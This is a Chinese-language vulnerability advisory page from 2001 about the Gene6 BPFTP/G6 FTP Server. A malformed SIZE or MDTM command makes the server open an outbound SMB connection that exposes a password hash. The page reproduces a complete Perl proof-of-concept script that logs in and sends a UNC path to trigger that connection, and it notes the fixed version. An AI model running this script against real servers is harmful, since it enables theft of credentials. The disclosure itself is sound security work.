首页 -> 安全研究
安全研究
安全漏洞
Gene6 BPFTP FTP Server 泄露用户登录信息漏洞
发布日期:2001-04-09
更新日期:2001-04-09
受影响系统:
不受影响系统:
Gene6 G6 FTP Server 2.0
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows NT 4.0
描述:
Gene6 BPFTP Server 2.10
- Microsoft Windows ME
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows NT 4.0
- Microsoft Windows 2000
Gene6开发的G6 FTP Server现在更名为BPFTP Server。如果一个有效登录的FTP用户
连接外部共享并提交畸形的"size"、"mdtm"命令,将导致FTP服务器发起一次外部SMB
连接请求。
为了完成SMB连接请求,FTP服务器必须提供登录信息,此时一个password的哈稀值出
现在外部连接上。如果在通信线路上存在第三方sniffer程序,将获取这个password
哈稀值,通过它可以还原出用户名和口令。
<* 来源:Rob Beck (rbeck@atstake.com) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http://www.securityfocus.com/data/vulnerabilities/exploits/g6-2nbt.pl
--------------------------------------------------------------------------
#!/usr/bin/perl
# G6-2nbt.pl - example G6 ftp server netbios connection script
#
# Tested on win32 and Linux, Linux requires share name to be in
# the format: \\\\host\\share\\path or file://host/share/path
use Getopt::Std;
use IO::Socket;
my($host,$login,$pass,$share,$CRLF,$result);
$CRLF = "\015\012";
getopts('h:l:p:s:',\%args);
if (!defined $args{h}){ print "No host specified.\n";exit;}else{$host =
$args{h};}
if (!defined $args{s}){ print "No share specified.\n";exit;}else{$share =
$args{s};}
if (!defined $args{l} || !defined $args{p}){($login,$pass) =
('anonymous','user@myhost.com');}
else { ($login,$pass) = ($args{l},$args{p});}
$our_sock =
IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>$host,PeerPort=>21)||
die("Socket problems.");
print "Connected!\n";
print "Login...";
print $our_sock "USER $login" . $CRLF;
$result = <$our_sock>;
if ($result !~ /331\s/) { print "User name not accepted or an error
occurred...exiting.\n";close($our_sock);exit; }
print "good.\nPass....";
print $our_sock "PASS $pass" . $CRLF;
$result = <$our_sock>;
if ($result !~ /230\s/) { if ($result =~ /530\s/) { print "Login/password
incorrect exiting.\n";close($our_sock);exit; } else { print "Login
failure..exiting.\n";close($our_sock);exit; }}
print "good.\nTesting path type...";
print $our_sock "PWD" . $CRLF;
$result = <$our_sock>;
$result = <$our_sock>;
if (lc($result) !~ /\/[a-z][:]\//) { print "Looks like 'show relative
path' is enabled...exiting.\n";close($our_sock);exit;}
print "not relative path.\nSending UNC to connect to...";
print $our_sock "SIZE $share" . $CRLF;
print "completed.\nCheck your logs.\n";
close($our_sock);
exit;
建议:
Gene6 在 BPFTP Server v2.10 中修正了这个漏洞,到这里下载升级版本
http://www.bpftpserver.com/postdown.html
浏览次数:7686
严重程度:0(网友投票)
绿盟科技给您安全的保障